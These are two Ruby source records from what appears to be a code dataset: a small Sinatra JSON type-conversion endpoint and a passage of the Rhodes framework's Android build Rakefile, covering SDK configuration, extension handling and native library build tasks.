79b50df2fd0647ffcb0c6ca62d22987262bd0480 | 987 | require 'sinatra'
require 'json'
typeToConversionType = {
"scale" => method(:Integer),
"bool" => ->(c) { (c.downcase == "true" || c.downcase == "yes") },
"string" => method(:String),
"int" => method(:Integer),
"float" => method(:String),
"date" => method(:String)
}
post '/' do
payload = JSON.parse(request.body.read) unless params[:path]
logger.info "Recieved #{payload}"
unless payload["structure"]
status 500
return "JSON has have the key: structure"
end
unless payload["object"]
status 500
return "JSON has have the key: object"
end
transformedObject = {}
payload["object"].each do |key, currentValue|
structureType = payload["structure"][key]
if typeToConversionType.key?(structureType)
convertedValue = typeToConversionType[structureType].call(currentValue)
else
convertedValue = currentValue
end
transformedObject[key] = convertedValue
end
content_type :json
transformedObject.to_json
end
| 22.431818 | 77 | 0.669706 |
f7f982384d09f50984d2f14ce934eff8fe2b28d8 | 81,125 | #------------------------------------------------------------------------
# (The MIT License)
#
# Copyright (c) 2008-2011 Rhomobile, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
# http://rhomobile.com
#------------------------------------------------------------------------
require File.dirname(__FILE__) + '/androidcommon.rb'
require File.dirname(__FILE__) + '/android_tools.rb'
require File.dirname(__FILE__) + '/manifest_generator.rb'
require File.dirname(__FILE__) + '/eclipse_project_generator.rb'
require 'pathname'
require 'tempfile'
USE_OWN_STLPORT = false
#USE_TRACES = # see androidcommon.rb
def get_market_version(apilevel)
AndroidTools.get_market_version(apilevel)
end
def get_api_level(version)
AndroidTools.get_api_level(version)
end
JAVA_PACKAGE_NAME = 'com.rhomobile.rhodes'
# Here is place were android platform should be specified.
# For complete list of android API levels and its mapping to
# market names (such as "Android-1.5" etc) see output of
# command "android list targets"
ANDROID_SDK_LEVEL = 4
ANDROID_PERMISSIONS = {
'audio' => ['RECORD_AUDIO', 'MODIFY_AUDIO_SETTINGS'],
'camera' => 'CAMERA',
'gps' => ['ACCESS_FINE_LOCATION', 'ACCESS_COARSE_LOCATION'],
'network_state' => 'ACCESS_NETWORK_STATE',
'phone' => ['CALL_PHONE', 'READ_PHONE_STATE'],
'pim' => ['READ_CONTACTS', 'WRITE_CONTACTS', 'GET_ACCOUNTS'],
'record_audio' => 'RECORD_AUDIO',
'vibrate' => 'VIBRATE',
'bluetooth' => ['BLUETOOTH_ADMIN', 'BLUETOOTH'],
'calendar' => ['READ_CALENDAR', 'WRITE_CALENDAR'],
'sdcard' => 'WRITE_EXTERNAL_STORAGE',
'push' => nil,
'motorola' => ['SYSTEM_ALERT_WINDOW', 'BROADCAST_STICKY', proc do |manifest|
add_motosol_sdk(manifest)
end],
'motoroladev' => ['SYSTEM_ALERT_WINDOW', 'BROADCAST_STICKY', proc do |manifest|
add_motosol_sdk(manifest)
end],
'webkit_browser' => nil,
'shared_runtime' => nil,
'motorola_browser' => nil,
'hardware_acceleration' => nil
}
ANDROID_CAPS_ALWAYS_ENABLED = ['network_state']
def add_motosol_sdk(manifest)
uses_scanner = REXML::Element.new 'uses-library'
uses_scanner.add_attribute 'android:name', 'com.motorolasolutions.scanner'
uses_scanner.add_attribute 'android:required', 'false'
uses_msr = REXML::Element.new 'uses-library'
uses_msr.add_attribute 'android:name', 'com.motorolasolutions.emdk.msr'
uses_msr.add_attribute 'android:required', 'false'
manifest.elements.each('application') do |app|
app.add uses_scanner
app.add uses_msr
end
end
def set_app_icon_android
iconappname = File.join($app_path, "icon", "icon.png")
['drawable', 'drawable-hdpi', 'drawable-mdpi', 'drawable-ldpi'].each do |dpi|
drawable = File.join($appres, dpi)
iconresname = File.join(drawable, "icon.png")
rm_f iconresname
cp iconappname, iconresname if File.exist? drawable
end
end
def set_app_name_android(newname)
puts "set_app_name"
$stdout.flush
rm_rf $appres
cp_r $rhores, $appres
rhostrings = File.join($rhores, "values", "strings.xml")
appstrings = File.join($appres, "values", "strings.xml")
doc = REXML::Document.new(File.new(rhostrings))
doc.elements["resources/string[@name='app_name']"].text = newname
File.open(appstrings, "w") { |f| doc.write f }
end
def get_boolean(arg)
arg == 'true' or arg == 'yes' or arg == 'enabled' or arg == 'enable' or arg == '1'
end
namespace 'project' do
namespace 'android' do
task :eclipse => ['config:android', 'config:android:extensions','build:android:manifest'] do
#options = [ 'create', 'project',
# '--path', $projectpath,
# '--target', $androidtargets[$found_api_level][:id],
# '--package', $app_package_name,
# '--activity', 'RhodesActivity'
#]
#Jake.run($androidbin, options)
project_template_path = File.join 'res','generators','templates','project','android'
project_erb_path = File.join project_template_path,'project.erb'
classpath_erb_path = File.join project_template_path,'classpath.erb'
project_prop_erb_path = File.join project_template_path,'project.properties.erb'
manifest_path = File.join $tmpdir,'AndroidManifest.xml'
project_path = File.join $app_path,'project','android'
project_file_path = File.join project_path,'.project'
classpath_file_path = File.join project_path,'.classpath'
project_prop_file_path = File.join project_path,'project.properties'
manifest_file_path = File.join project_path,'AndroidManifest.xml'
rhodes_path = File.absolute_path '.'
generator = EclipseProjectGenerator.new $appname, $app_path, rhodes_path, $androidtargets[$found_api_level][:name]
$app_config["extpaths"].each do |extpath|
next if extpath.start_with? rhodes_path
generator.addVirtualFolder extpath
end
$ext_android_additional_sources.each do |extpath, list|
classpaths = []
ext = File.basename(extpath)
puts "Adding '#{ext}' extension java sources: #{list}"
File.open(list, "r") do |f|
while line = f.gets
line.chomp!
src = File.join(extpath, line)
if src =~ /(.*\/src\/).*/
src = $1
unless classpaths.index(src)
puts "Add classpath: #{src}"
classpaths << src
end
end
end
end
generator.addExtension(ext, classpaths) unless classpaths.empty?
end
mkdir_p project_path
project_buf = generator.render project_erb_path
File.open(project_file_path, "w") { |f| f.write project_buf }
classpath_buf = generator.render classpath_erb_path
File.open(classpath_file_path, "w") { |f| f.write classpath_buf }
project_prop_buf = generator.render project_prop_erb_path
File.open(project_prop_file_path, "w") { |f| f.write project_prop_buf }
cp_r File.join(project_template_path,'externalToolBuilders'), File.join(project_path,'.externalToolBuilders') unless File.exists? File.join(project_path,'.externalToolBuilders')
cp File.join(project_template_path,'gensources.xml'), project_path unless File.exists? File.join(project_path,'gensources.xml')
cp File.join(project_template_path,'eclipsebundle.xml'), project_path unless File.exists? File.join(project_path,'eclipsebundle.xml')
cp manifest_path, project_path
end
end
end
namespace "config" do
task :set_android_platform do
$current_platform = "android"
end
task :android => :set_android_platform do
Rake::Task["config:common"].invoke
$java = $config["env"]["paths"]["java"]
$neon_root = nil
$neon_root = $config["env"]["paths"]["neon"] unless $config["env"]["paths"].nil?
if !($app_config["paths"].nil? or $app_config["paths"]["neon"].nil?)
$neon_root = $app_config["paths"]["neon"]
end
$androidsdkpath = $config["env"]["paths"]["android"]
unless File.exists? $androidsdkpath
puts "Missing or invalid 'android' section in rhobuild.yml: '#{$androidsdkpath}'"
exit 1
end
$androidndkpath = $config["env"]["paths"]["android-ndk"]
unless File.exists? $androidndkpath
puts "Missing or invalid 'android-ndk' section in rhobuild.yml: '#{$androidndkpath}'"
exit 1
end
errfmt = "WARNING!!! Path to Android %s contain spaces! It will not work because of the Google toolchain restrictions. Move it to another location and reconfigure rhodes."
if $androidndkpath =~ /\s/
puts(errfmt % "NDK")
exit 1
end
$min_sdk_level = $app_config["android"]["minSDK"] unless $app_config["android"].nil?
$min_sdk_level = $config["android"]["minSDK"] if $min_sdk_level.nil? and not $config["android"].nil?
$min_sdk_level = $min_sdk_level.to_i unless $min_sdk_level.nil?
$min_sdk_level = ANDROID_SDK_LEVEL if $min_sdk_level.nil?
$max_sdk_level = $app_config["android"]["maxSDK"] unless $app_config["android"].nil?
$androidplatform = AndroidTools.fill_api_levels $androidsdkpath
if $androidplatform == nil
puts "No Android platform found at SDK path: '#{$androidsdkpath}'"
exit 1
end
android_api_levels = AndroidTools.get_installed_api_levels
android_api_levels.sort!
$found_api_level = android_api_levels.last
$gapikey = $app_config["android"]["apikey"] unless $app_config["android"].nil?
$gapikey = $config["android"]["apikey"] if $gapikey.nil? and not $config["android"].nil?
$gapikey = '' unless $gapikey.is_a? String
$gapikey = nil if $gapikey.empty?
$android_orientation = $app_config["android"]["orientation"] unless $app_config["android"].nil?
$use_geomapping = $app_config["android"]["mapping"] unless $app_config["android"].nil?
$use_geomapping = $config["android"]["mapping"] if $use_geomapping.nil? and not $config["android"].nil?
$use_geomapping = 'false' if $use_geomapping.nil?
$use_geomapping = get_boolean($use_geomapping.to_s)
$use_google_addon_api = false
$use_google_addon_api = true if $use_geomapping
#Additionally $use_google_addon_api set to true if PUSH capability is enabled
$config_xml = $app_config["android"]["rhoelements"]["config"] if $app_config["android"]["rhoelements"] if $app_config["android"]
if $config_xml
$config_xml = File.expand_path $config_xml, $app_path
puts "Custom config.xml path: #{$config_xml}"
end
puts "Use Google addon API: #{$use_google_addon_api}" if USE_TRACES
$uri_scheme = $app_config["android"]["URIScheme"] unless $app_config["android"].nil?
$uri_scheme = "http" if $uri_scheme.nil?
$uri_host = $app_config["android"]["URIHost"] unless $app_config["android"].nil?
# Here is switch between release/debug configuration used for
# building native libraries
if $app_config["debug"].nil?
$build_release = true
else
$build_release = !$app_config["debug"].to_i
end
$androidpath = Jake.get_absolute $config["build"]["androidpath"]
$bindir = File.join($app_path, "bin")
$rhobindir = File.join($androidpath, "bin")
$builddir = File.join($androidpath, "build")
$shareddir = File.join($androidpath, "..", "shared")
$coreapidir = File.join($androidpath, "..", "..", "lib", "commonAPI", "coreapi", "ext", "shared")
$commonapidir = File.join($androidpath, "..", "..", "lib", "commonAPI")
$srcdir = File.join($bindir, "RhoBundle")
$targetdir = File.join($bindir, 'target', 'android')
$projectpath = File.join($app_path, 'project', 'android')
$excludelib = ['**/builtinME.rb', '**/ServeME.rb', '**/dateME.rb', '**/rationalME.rb']
$tmpdir = File.join($bindir, "tmp")
#$rhomanifest = File.join $androidpath, "Rhodes", "AndroidManifest.xml"
$rhomanifesterb = File.join $androidpath, "Rhodes", "AndroidManifest.xml.erb"
$appmanifest = File.join $tmpdir, "AndroidManifest.xml"
$rhores = File.join $androidpath, 'Rhodes','res'
$appres = File.join $tmpdir,'res'
$appassets = File.join $tmpdir,'assets'
$applibs = File.join $tmpdir,'lib','armeabi'
$appincdir = File.join $tmpdir, "include"
$rho_java_gen_dir = File.join $tmpdir,'gen','com','rhomobile','rhodes'
#$rho_android_r = File.join $androidpath, 'Rhodes','src','com','rhomobile','rhodes','AndroidR.java'
#$app_android_r = File.join $rho_java_gen_dir,'AndroidR.java'
$app_rjava_dir = $rho_java_gen_dir
$app_native_libs_java = File.join $rho_java_gen_dir,'NativeLibraries.java'
$app_capabilities_java = File.join $rho_java_gen_dir,'Capabilities.java'
$app_push_java = File.join $rho_java_gen_dir,'Push.java'
$app_startup_listeners_java = File.join $rho_java_gen_dir,'extmanager','RhodesStartupListeners.java'
if RUBY_PLATFORM =~ /(win|w)32$/
$bat_ext = ".bat"
$exe_ext = ".exe"
$path_separator = ";"
# Add PATH to cygwin1.dll
ENV['CYGWIN'] = 'nodosfilewarning'
if $path_cygwin_modified.nil?
ENV['PATH'] = Jake.get_absolute("res/build-tools") + ";" + ENV['PATH']
path_cygwin_modified = true
end
else
#XXX make these absolute
$bat_ext = ""
$exe_ext = ""
$path_separator = ":"
# TODO: add ruby executable for Linux
end
build_tools_path = nil
if File.exist?(File.join($androidsdkpath, "build-tools"))
build_tools_path = []
Dir.foreach(File.join($androidsdkpath, "build-tools")) do |entry|
next if entry == '.' or entry == '..'
build_tools_path << entry
end
build_tools_path.sort!
build_tools_path = build_tools_path.last
end
if build_tools_path
puts "Using Android SDK build-tools: #{build_tools_path}"
build_tools_path = File.join $androidsdkpath,'build-tools',build_tools_path
#puts "build-tools path: #{build_tools_path}"
#$dx = File.join(build_tools_path,"dx" + $bat_ext)
$dxjar = File.join(build_tools_path,'lib','dx.jar')
$aapt = File.join(build_tools_path, "aapt#{$exe_ext}")
else
#$dx = File.join($androidsdkpath, "platforms", $androidplatform, "tools", "dx" + $bat_ext)
#$dx = File.join($androidsdkpath, "platform-tools", "dx" + $bat_ext) unless File.exists? $dx
$dxjar = File.join($androidsdkpath, "platforms", $androidplatform, "tools", "lib", "dx.jar")
$dxjar = File.join($androidsdkpath, "platform-tools", "lib", "dx.jar") unless File.exists? $dxjar
$aapt = File.join($androidsdkpath, "platforms", $androidplatform, "tools", "aapt" + $exe_ext)
$aapt = File.join($androidsdkpath, "platform-tools", "aapt" + $exe_ext) unless File.exists? $aapt
end
$androidbin = File.join($androidsdkpath, "tools", "android" + $bat_ext)
$adb = File.join($androidsdkpath, "tools", "adb" + $exe_ext)
$adb = File.join($androidsdkpath, "platform-tools", "adb" + $exe_ext) unless File.exists? $adb
$zipalign = File.join($androidsdkpath, "tools", "zipalign" + $exe_ext)
$androidjar = File.join($androidsdkpath, "platforms", $androidplatform, "android.jar")
$sdklibjar = File.join($androidsdkpath, 'tools', 'lib', 'sdklib.jar')
$keytool = File.join($java, "keytool" + $exe_ext)
$jarsigner = File.join($java, "jarsigner" + $exe_ext)
$jarbin = File.join($java, "jar" + $exe_ext)
$keystore = nil
$keystore = $app_config["android"]["production"]["certificate"] if !$app_config["android"].nil? and !$app_config["android"]["production"].nil?
$keystore = $config["android"]["production"]["certificate"] if $keystore.nil? and !$config["android"].nil? and !$config["android"]["production"].nil?
$keystore = File.expand_path($keystore, $app_path) unless $keystore.nil?
$keystore = File.expand_path(File.join(ENV['HOME'], ".rhomobile", "keystore")) if $keystore.nil?
$storepass = nil
$storepass = $app_config["android"]["production"]["password"] if !$app_config["android"].nil? and !$app_config["android"]["production"].nil?
$storepass = $config["android"]["production"]["password"] if $storepass.nil? and !$config["android"].nil? and !$config["android"]["production"].nil?
$storepass = "81719ef3a881469d96debda3112854eb" if $storepass.nil?
$keypass = $storepass
$storealias = nil
$storealias = $app_config["android"]["production"]["alias"] if !$app_config["android"].nil? and !$app_config["android"]["production"].nil?
$storealias = $config["android"]["production"]["alias"] if $storealias.nil? and !$config["android"].nil? and !$config["android"]["production"].nil?
$storealias = "rhomobile.keystore" if $storealias.nil?
$app_config["capabilities"] += ANDROID_CAPS_ALWAYS_ENABLED
$app_config["capabilities"].map! { |cap| cap.is_a?(String) ? cap : nil }.delete_if { |cap| cap.nil? }
$use_google_addon_api = true unless $app_config["capabilities"].index("push").nil?
$appname = $app_config["name"]
$appname = "Rhodes" if $appname.nil?
$vendor = $app_config["vendor"]
if $vendor.nil?
if $app_config['capabilities'].index('motorola').nil? and $app_config['capabilities'].index('motoroladev').nil?
$vendor = 'rhomobile'
else
$vendor = 'motorolasolutions'
end
end
$vendor = $vendor.gsub(/^[^A-Za-z]/, '_').gsub(/[^A-Za-z0-9]/, '_').gsub(/_+/, '_').downcase
$app_package_name = $app_config["android"] ? $app_config["android"]["package_name"] : nil
$app_package_name = "com.#{$vendor}." + $appname.downcase.gsub(/[^A-Za-z_0-9]/, '') unless $app_package_name
$app_package_name.gsub!(/\.[\d]/, "._")
puts "$vendor = #{$vendor}"
puts "$app_package_name = #{$app_package_name}"
if $uri_host.nil?
if $app_config['capabilities'].index('motorola').nil? and $app_config['capabilities'].index('motoroladev').nil?
$uri_host = 'rhomobile.com'
else
$uri_host = 'motorolasolutions.com'
end
$uri_path_prefix = "/#{$app_package_name}"
end
unless $app_config['capabilities'].index('motorola').nil? and $app_config['capabilities'].index('motoroladev').nil?
$use_motosol_api = true
$use_motosol_api_classpath = true unless $app_config['capabilities'].index('motoroladev').nil?
raise 'Cannot use Motorola SDK addon and Google SDK addon together!' if $use_google_addon_api
end
$applog_path = nil
$applog_file = $app_config["applog"]
if !$applog_file.nil?
$applog_path = File.join($app_path, $applog_file)
end
if $min_sdk_level > $found_api_level
raise "Latest installed Android platform '#{$androidplatform}' does not meet minSdk '#{$min_sdk_level}' requirement"
end
# Look for Motorola SDK addon
if $use_motosol_api_classpath
puts "Looking for Motorola API SDK add-on..." if USE_TRACES
motosol_jars = ['com.motorolasolutions.scanner', 'com.motorolasolutions.msr']
$motosol_classpath = AndroidTools::get_addon_classpath(motosol_jars)
end
# Detect Google API add-on path
if $use_google_addon_api
puts "Looking for Google API SDK add-on..." if USE_TRACES
google_jars = ['com.google.android.maps']
$google_classpath = AndroidTools::get_addon_classpath(google_jars, $found_api_level)
end
setup_ndk($androidndkpath, $found_api_level)
$std_includes = File.join $androidndkpath, "sources", "cxx-stl", "stlport", "stlport"
unless File.directory? $std_includes
$stlport_includes = File.join $shareddir, "stlport", "stlport"
USE_OWN_STLPORT = true
end
$native_libs = ["sqlite", "curl", "stlport", "ruby", "json", "rhocommon", "rhodb", "rholog", "rhosync", "rhomain"]
if $build_release
$confdir = "release"
else
$confdir = "debug"
end
$app_builddir = File.join($bindir, 'target', 'android', $confdir)
$objdir = {}
$libname = {}
$native_libs.each do |x|
$objdir[x] = File.join($tmpdir, x)
$libname[x] = File.join($app_builddir, x, "lib#{x}.a")
end
$push_sender = nil
$push_sender = $config["android"]["push"]["sender"] if !$config["android"].nil? and !$config["android"]["push"].nil?
$push_sender = $app_config["android"]["push"]["sender"] if !$app_config["android"].nil? and !$app_config["android"]["push"].nil?
$push_sender = "[email protected]" if $push_sender.nil?
$push_notifications = nil
$push_notifications = $app_config["android"]["push"]["notifications"] if !$app_config["android"].nil? and !$app_config["android"]["push"].nil?
$push_notifications = "none" if $push_notifications.nil?
$push_notifications = $push_notifications
# Detect android targets
$androidtargets = {}
id = nil
apilevel = nil
target_name = nil
`"#{$androidbin}" list targets`.split(/\n/).each do |line|
line.chomp!
if line =~ /^id:\s+([0-9]+)\s+or\s+\"(.*)\"/
id = $1
target_name = $2
if $use_google_addon_api
if line =~ /Google Inc\.:Google APIs:([0-9]+)/
apilevel = $1.to_i
$androidtargets[apilevel] = {:id => id.to_i, :name => target_name}
end
else
if $use_motosol_api
if line =~ /MotorolaSolutions\s+Inc\.:MotorolaSolution\s+Value\s+Add\s+APIs.*:([0-9]+)/
apilevel = $1.to_i
$androidtargets[apilevel] = {:id => id.to_i, :name => target_name}
end
end
end
end
unless $use_google_addon_api and $use_motosol_api
if line =~ /^\s+API\s+level:\s+([0-9]+)$/
apilevel = $1.to_i
$androidtargets[apilevel] = {:id => id.to_i, :name => target_name}
end
end
if apilevel && $androidtargets[apilevel][:id] == id.to_i
if line =~ /^\s+ABIs\s*:\s+(.*)/
$androidtargets[apilevel][:abis] = []
$1.split(/,\s*/).each do |abi|
$androidtargets[apilevel][:abis] << abi
end
puts $androidtargets[apilevel][:abis].inspect if USE_TRACES
end
end
end
if USE_TRACES
puts "Android targets:"
puts $androidtargets.inspect
end
mkdir_p $bindir if not File.exists? $bindir
mkdir_p $rhobindir if not File.exists? $rhobindir
mkdir_p $targetdir if not File.exists? $targetdir
mkdir_p $srcdir if not File.exists? $srcdir
end #task 'config:android'
namespace 'android' do
# 'config:android:app_config' task is invoked directly by common Rakefile
# just after build config has been read and before processing extensions
task :app_config do
if $app_config['capabilities'].index('push')
$app_config['extensions'] << 'gcm-push' unless $app_config['extensions'].index('gcm-push')
end
if $app_config['capabilities'].index('native_browser')
$app_config['extensions'].delete('rhoelements')
end
end
task :extensions => ['config:android', 'build:bundle:noxruby'] do
$ext_android_rhodes_activity_listener = []
$ext_android_additional_sources = {}
$ext_android_additional_lib = []
$ext_android_build_scripts = {}
$ext_android_manifest_changes = {}
$ext_android_adds = {}
$ext_android_library_deps = {}
$app_config["extensions"].each do |ext|
puts "#{ext} is processing..."
$app_config["extpaths"].each do |p|
extpath = File.join(p, ext, 'ext')
puts "Checking extpath: #{extpath}"
if File.exists? extpath and File.directory? extpath
puts "#{extpath} is configuring..."
extyml = File.join(p, ext, "ext.yml")
if File.file? extyml
puts "#{extyml} is processing..."
extconf = Jake.config(File.open(extyml))
extconf_android = extconf['android']
exttype = 'build'
exttype = extconf_android['exttype'] if extconf_android and extconf_android['exttype']
addspath = File.join($app_builddir, 'extensions', ext, 'adds')
prebuiltpath = nil
if exttype == 'prebuilt'
prebuiltpath = Dir.glob(File.join(extpath, '**', 'android'))
if prebuiltpath.count == 1
prebuiltpath = prebuiltpath.first
else
raise "android:exttype is 'prebuilt' but prebuilt path is not found #{prebuiltpath.inspect}"
end
end
android_listener = extconf["android_rhodes_activity_listener"]
android_listener = extconf_android['rhodes_listener'] if android_listener.nil? and extconf_android
$ext_android_rhodes_activity_listener << android_listener unless android_listener.nil?
manifest_changes = extconf["android_manifest_changes"]
manifest_changes = extconf_android['manifest_changes'] if manifest_changes.nil? and extconf_android
if manifest_changes
manifest_changes = [manifest_changes] unless manifest_changes.is_a? Array
manifest_changes.map! { |path| File.join(p, ext, path) }
else
if prebuiltpath
manifest_changes = []
path = File.join(prebuiltpath, 'adds', 'AndroidManifest.rb')
manifest_changes << path if File.file? path
templates = Dir.glob File.join(prebuiltpath, 'adds', '*.erb')
manifest_changes += templates
if templates.empty?
path = File.join(prebuiltpath, 'adds', 'AndroidManifest.xml')
manifest_changes << path if File.file? path
end
end
end
if manifest_changes
$ext_android_manifest_changes[ext] = manifest_changes
end
resource_addons = extconf["android_resources_addons"]
resource_addons = extconf_android['adds'] if resource_addons.nil? and extconf_android
if resource_addons
resource_addons = File.join(p, ext, resource_addons)
else
if prebuiltpath
resource_addons = File.join(prebuiltpath, 'adds')
resource_addons = nil unless File.directory? resource_addons
end
end
if resource_addons
$ext_android_adds[ext] = resource_addons
end
library_deps = extconf_android['library_deps'] if extconf_android
if library_deps
if library_deps.is_a? Array
library_deps.each do |dep|
deppath = File.join($androidsdkpath, dep)
$ext_android_library_deps[AndroidTools.read_manifest_package(deppath)] = deppath
end
end
end
additional_sources = extconf["android_additional_sources_list"]
additional_sources = extconf_android['source_list'] if additional_sources.nil? and extconf_android
unless additional_sources.nil?
ext_sources_list = File.join(p, ext, additional_sources)
if File.exists? ext_sources_list
$ext_android_additional_sources[File.join(p, ext)] = ext_sources_list
else
raise "Extension java source list is missed: #{ext_sources_list}"
end
else
puts "No additional java sources for '#{ext}'"
end
# there is no 'additional_libs' param in android section moreover
# place libraries into android adds folder
android_additional_lib = extconf["android_additional_lib"]
if android_additional_lib != nil
android_additional_lib.each do |lib|
$ext_android_additional_lib << File.join(p, ext, lib)
end
end
if prebuiltpath
targetpath = File.join $app_builddir, 'extensions', ext
libaddspath = File.join addspath, 'lib', 'armeabi'
mkdir_p targetpath
Dir.glob(File.join(prebuiltpath, 'lib*.a')).each do |lib|
cp lib, targetpath
end
Dir.glob(File.join(prebuiltpath, '*.jar')).each do |lib|
cp lib, targetpath
end
Dir.glob(File.join(prebuiltpath, '**', 'lib*.so')).each do |lib|
next if lib =~ /adds/
if lib =~ /noautoload/
mkdir_p File.join(libaddspath, 'noautoload')
cp lib, File.join(libaddspath, 'noautoload')
else
mkdir_p libaddspath
cp lib, libaddspath
end
end
end
puts "#{extyml} is processed"
end
if exttype == 'rakefile'
rakedir = Dir.glob File.join(extpath, '**', 'android')
$ext_android_build_scripts[ext] = [rakedir.first, 'rake']
else
build_script = File.join(extpath, 'build' + $bat_ext)
if File.exists? build_script
if RUBY_PLATFORM =~ /(win|w)32$/
$ext_android_build_scripts[ext] = [extpath, 'build.bat']
else
$ext_android_build_scripts[ext] = [extpath, File.join('.', 'build' + $bat_ext)]
end
end
end
puts "#{extpath} is configured"
# to prevent to build 2 extensions with same name
break
end # exists?
end # $app_config["extpaths"].each
end # $app_config["extensions"].each
puts "Extensions' java source lists: #{$ext_android_additional_sources.inspect}"
end #task :extensions
task :emulator => "config:android" do
$emuversion = $app_config["android"]["version"] unless $app_config["android"].nil?
$emuversion = $config["android"]["version"] if $emuversion.nil? and !$config["android"].nil?
if RUBY_PLATFORM =~ /(win|w)32$/
$emulator = #"cmd /c " +
File.join($androidsdkpath, "tools", "emulator.exe")
else
$emulator = File.join($androidsdkpath, "tools", "emulator")
end
$emuversion = AndroidTools.get_market_version($min_sdk_level) if $emuversion.nil?
if $emuversion.nil?
raise "Wrong Android emulator version: #{$emuversion}. Android SDK target API is not installed"
end
if USE_TRACES
puts "Android emulator version: #{$emuversion}"
end
$emuversion = $emuversion.to_s
$appavdname = $app_config["android"]["emulator"] if $app_config["android"] != nil && $app_config["android"].length > 0
$appavdname = $config["android"]["emulator"] if $appavdname.nil? and !$config["android"].nil? and $config["android"].length > 0
end # task 'config:android:emulator'
task :device => "config:android" do
end
end #namespace 'config:android'
end
namespace "build" do
namespace "android" do
desc "Build RhoBundle for android"
task :rhobundle => ["config:android", :extensions] do
Rake::Task["build:bundle:noxruby"].invoke
rm_rf $appassets
mkdir_p $appassets
hash = nil
["apps", "db", "lib"].each do |d|
cp_r File.join($srcdir, d), $appassets, :preserve => true
# Calculate hash of directories
hash = get_dir_hash(File.join($srcdir, d), hash)
end
File.open(File.join($srcdir, "hash"), "w") { |f| f.write(hash.hexdigest) }
File.open(File.join($srcdir, "name"), "w") { |f| f.write($appname) }
Jake.build_file_map($srcdir, "rho.dat")
["apps", "db", "lib", "hash", "name", "rho.dat"].each do |d|
cp_r File.join($srcdir, d), $appassets, :preserve => true
end
end
desc "Build RhoBundle for Eclipse project"
task :eclipsebundle => "build:android:rhobundle" do
eclipse_assets = File.join(Jake.get_absolute($androidpath), "Rhodes", "assets")
rm_rf eclipse_assets
cp_r $appassets, eclipse_assets, :preserve => true
end
desc 'Building native extensions'
task :extensions => ["config:android:extensions", :genconfig] do
Rake::Task["build:bundle:noxruby"].invoke
ENV['RHO_PLATFORM'] = 'android'
ENV["RHO_APP_DIR"] = $app_path
ENV["ANDROID_SDK"] = $androidsdkpath
ENV["ANDROID_NDK"] = $androidndkpath
ENV["ANDROID_API_LEVEL"] = $found_api_level.to_s
ENV["RHO_ROOT"] = $startdir
ENV["BUILD_DIR"] ||= $startdir + "/platform/android/build"
ENV["RHO_INC"] = $appincdir
ENV["RHO_RES"] = $appres
ENV["RHO_ANDROID_TMP_DIR"] = $tmpdir
ENV["NEON_ROOT"] = $neon_root unless $neon_root.nil?
ENV["CONFIG_XML"] = $config_xml unless $config_xml.nil?
$ext_android_build_scripts.each do |ext, builddata|
#ext = File.basename(File.dirname(extpath))
ENV["TARGET_TEMP_DIR"] = File.join($app_builddir, 'extensions', ext)
ENV['TEMP_FILES_DIR'] = File.join($tmpdir, ext)
mkdir_p ENV["TARGET_TEMP_DIR"] unless File.directory? ENV["TARGET_TEMP_DIR"]
mkdir_p ENV["TEMP_FILES_DIR"] unless File.directory? ENV["TEMP_FILES_DIR"]
puts "Executing extension build script: #{ext}"
if RUBY_PLATFORM =~ /(win|w)32$/ || (builddata[1] == 'rake')
Jake.run(builddata[1], [], builddata[0])
else
currentdir = Dir.pwd()
Dir.chdir builddata[0]
sh %{$SHELL #{builddata[1]}}
Dir.chdir currentdir
end
raise "Cannot build #{builddata[0]}" unless $?.success?
puts "Extension build script finished"
end
$ext_android_manifest_changes.each do |ext, manifest_changes|
addspath = File.join($app_builddir, 'extensions', ext, 'adds')
mkdir_p addspath
manifest_changes.each do |path|
if File.extname(path) == '.xml'
cp path, File.join(addspath, 'AndroidManifest.xml')
else
if File.extname(path) == '.rb'
cp path, File.join(addspath, 'AndroidManifest.rb')
else
if File.extname(path) == '.erb'
cp path, addspath
else
raise "Wrong AndroidManifest patch file: #{path}"
end
end
end
end
end
$ext_android_adds.each do |ext, path|
addspath = File.join($app_builddir, 'extensions', ext, 'adds')
mkdir_p addspath
Dir.glob(File.join(path, '*')).each do |add|
cp_r add, addspath if File.directory? add
end
end
#$ext_android_library_deps.each do |package, path|
# res = File.join path, 'res'
# assets = File.join path, 'assets'
# addspath = File.join($app_builddir, 'extensions', package, 'adds')
# mkdir_p addspath
# cp_r res, addspath if File.directory? res
# cp_r assets, addspath if File.directory? assets
#end
end #task :extensions
task :libsqlite => "config:android" do
srcdir = File.join($shareddir, "sqlite")
objdir = $objdir["sqlite"]
libname = $libname["sqlite"]
sourcelist = File.join($builddir, 'libsqlite_build.files')
mkdir_p objdir
mkdir_p File.dirname(libname)
args = ["-I\"#{srcdir}\"", "-I\"#{$shareddir}\""]
sources = get_sources sourcelist
objects = get_objects sources, objdir
cc_build sources, objdir, args or exit 1
cc_ar ('"'+(libname)+'"'), objects.collect { |x| '"'+x+'"' } or exit 1
end
task :libcurl => "config:android" do
# Steps to get curl_config.h from fresh libcurl sources:
#export PATH=<ndkroot>/build/prebuilt/linux-x86/arm-eabi-4.2.1/bin:$PATH
#export CC=arm-eabi-gcc
#export CPP=arm-eabi-cpp
#export CFLAGS="--sysroot <ndkroot>/build/platforms/android-3/arch-arm -fPIC -mandroid -DANDROID -DOS_ANDROID"
#export CPPFLAGS="--sysroot <ndkroot>/build/platforms/android-3/arch-arm -fPIC -mandroid -DANDROID -DOS_ANDROID"
#./configure --without-ssl --without-ca-bundle --without-ca-path --without-libssh2 --without-libidn --disable-ldap --disable-ldaps --host=arm-eabi
srcdir = File.join $shareddir, "curl", "lib"
